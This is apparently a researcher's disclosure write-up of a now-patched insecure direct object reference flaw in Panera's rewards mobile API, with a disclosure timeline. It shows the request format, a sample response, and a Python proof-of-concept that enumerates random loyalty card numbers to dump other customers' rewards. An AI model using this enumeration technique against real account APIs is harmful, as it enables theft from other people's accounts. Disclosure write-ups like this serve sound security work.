Panera Bread is a bakery-café chain that originated as the Saint Louis Bread Company in Missouri.

They offer a loyalty program called MyPanera Rewards, which allow customers to receive discounts and free food for frequent visits.

Below is a Proof of Concept video, demonstrating the ability to redeem the rewards from another person’s account. This insecure direct object reference vulnerability has since been patched by Panera and is no longer exploitable.

Due to the nature of needing multiple accounts to leverage this type of vulnerability, We used my account to redeem a “Free Pastry Reward” from Ryan Griffin‘s account, since we discovered this vulnerability together.

We found that the vulnerability didn’t actually remove the reward from Ryan’s account when my account redeemed it, perpetually allowing this to be exploited over and over again using the same reward.

Below is the GET request that returned the cart details upon checkout:

GET /AdapterLayer/v1.1/promotions?order_id=**REMOVED**&cust_billing_id=**REMOVED**&loyalty_card_number=**REMOVED** HTTP/1.1 api_token: **REMOVED** auth_token: **REMOVED** menu_type: cafe_specific cafe_id: 203738 access_token: **REMOVED** User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0.2; SM-G920V Build/LRX22G) Host: mobapi.panerabread.com Connection: Keep-Alive Accept-Encoding: gzip 1 2 3 4 5 6 7 8 9 10 GET / AdapterLayer / v1 . 1 / promotions ? order_id = * * REMOVED* * & cust_billing_id = * * REMOVED* * & loyalty_card_number = * * REMOVED* * HTTP / 1.1 api_token : * * REMOVED* * auth_token : * * REMOVED* * menu_type : cafe_specific cafe_id : 203738 access_token : * * REMOVED* * User - Agent : Dalvik / 2.1.0 ( Linux ; U ; Android 5.0.2 ; SM - G920V Build / LRX22G ) Host : mobapi . panerabread . com Connection : Keep - Alive Accept - Encoding : gzip

By swapping out the loyalty_card_number with that of another account, we were able to retrieve another person’s rewards. This includes of course a Free Pastry, and whatever other rewards or discounts the account contained.

Here is the JSON information from the response:

{"rewards":[{"name":"Free Birthday Pastry","expires":"-redacted-","type":"FREE","maxAmount":4,"dollarRate":0,"imageUrl":"https://www.panerabread.com/content/dam/panerabread/rewards/reward1076.jpg","walletCode":60,"scope":3,"id":1076,"image":"reward1076.png","imageNonRetina":"reward1076.png","share":true,"status":"NO_ITEM"} 1 { "rewards" : [ { "name" : "Free Birthday Pastry" , "expires" : "-redacted-" , "type" : "FREE" , "maxAmount" : 4 , "dollarRate" : 0 , "imageUrl" : "https://www.panerabread.com/content/dam/panerabread/rewards/reward1076.jpg" , "walletCode" : 60 , "scope" : 3 , "id" : 1076 , "image" : "reward1076.png" , "imageNonRetina" : "reward1076.png" , "share" : true , "status" : "NO_ITEM" }

Ryan and I wrote a quick proof of concept script in python to demonstrate how an attacker could quickly enumerate random account numbers and dumps their rewards. Using a man-in-the-middle proxy, such as Burp Suite, the loyalty_card_number could be substituted in during an checkout to redeem another person’s reward.

import json import requests import string import random #get rid of pesky insecure ssl warnings each time requests.packages.urllib3.disable_warnings() def number_generator(size=12, chars=string.digits): return ''.join(random.choice(chars) for _ in range(size)) while True: stuff = number_generator() r = requests.get("https://mobapi.panerabread.com/AdapterLayer/v1.1/promotions?order_id=***REMOVED***&cust_billing_id=***REMOVED***&loyalty_card_number="+stuff, headers={"api_token":"***REMOVED***", "access_token":"***REMOVED***"}); print stuff #print rewardsCardNumber if 'rewards' in r.content[0:100]: print (r.content[0:100]) print "

" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import json import requests import string import random #get rid of pesky insecure ssl warnings each time requests . packages . urllib3 . disable_warnings ( ) def number_generator ( size = 12 , chars = string . digits ) : return '' . join ( random . choice ( chars ) for _ in range ( size ) ) while True : stuff = number_generator ( ) r = requests . get ( "https://mobapi.panerabread.com/AdapterLayer/v1.1/promotions?order_id=***REMOVED***&cust_billing_id=***REMOVED***&loyalty_card_number=" + stuff , headers = { "api_token" : "***REMOVED***" , "access_token" : "***REMOVED***" } ) ; print stuff #print rewardsCardNumber if 'rewards' in r . content [ 0 : 100 ] : print ( r . content [ 0 : 100 ] ) print "

"

In this PoC python script, we hard coded the api_token and access_token, rather than deriving them from login because we were lazy.

Disclosure Timeline

7/22/2015: Vulnerability Discovered.

7/23/2015: Proof of Concept video created.

7/24/2015: First of many attempts to reach out to Panera via email.

7/30/2015: Tried emailing mobilesupport@panerabread.com, the contact email address for their iOS App Store App.

8/10/2015: Attempted reaching out via firstname.lastname@panerabread.com (we googled for the email account schema) to several IT staff members.

9/8/2015: Called Panera Corporate and left message with of Laurie Gonzales in their IT Department.

10/6/2015: Called Customer Service and spoke with a representative named Ashley who was very helpful and took down my contact information so someone could get back with me.

10/8/2015: Receive email from Adam Furtwengler, manager of their CBSS Preventive Analysis team. Sent response email containing PoC video with details explaining the vulnerability. Received response that the PoC would be forwarded to their development teams for further review.

10/14/2015: Sent follow up email.

10/15/2015: Received Response indicating the development team was still looking into the vulnerability.

10/28/2015: Sent another follow up email.

10/30/2015: Received response that the development team has not given any response or indication on the matter. iOS App Store update patches vulnerability. Android application still vulnerable.

11/04/2015: Android application receives Play Store update. Application still vulnerable.

11/06/2015: Panera website ordering system update patches vulnerability when ordering through web browser.

11/14/2015: Android application receives another Play Store update. Vulnerability still present.

01/12/2016: Followed up phone call to Adam Furtwengler. He explained the developers are still actively working on a fix for the android app.

03/30/2016: Sent another “check-in” email following up with Adam Furtwengler.

04/08/2016: Adam Furtwengler responds back with a resolution timeline for patching the android application by late June or July. He also rewarded Ryan and I each with $50 Panera electronic gift cards.

08/02/2016: Android application is patched and old endpoints are decommissioned, making this application no longer vulnerable.

A special thanks to Randy Westergren for giving me some tips and advice for getting in touch with a company after so many failed attempts, Adam Furtwengler for being very helpful in relaying communication with the dev team, Ashley from Panera Customer Care for relaying my contact information to the appropriate individual, and Ryan Griffin for assistance with discovery and disclosure of this vulnerability.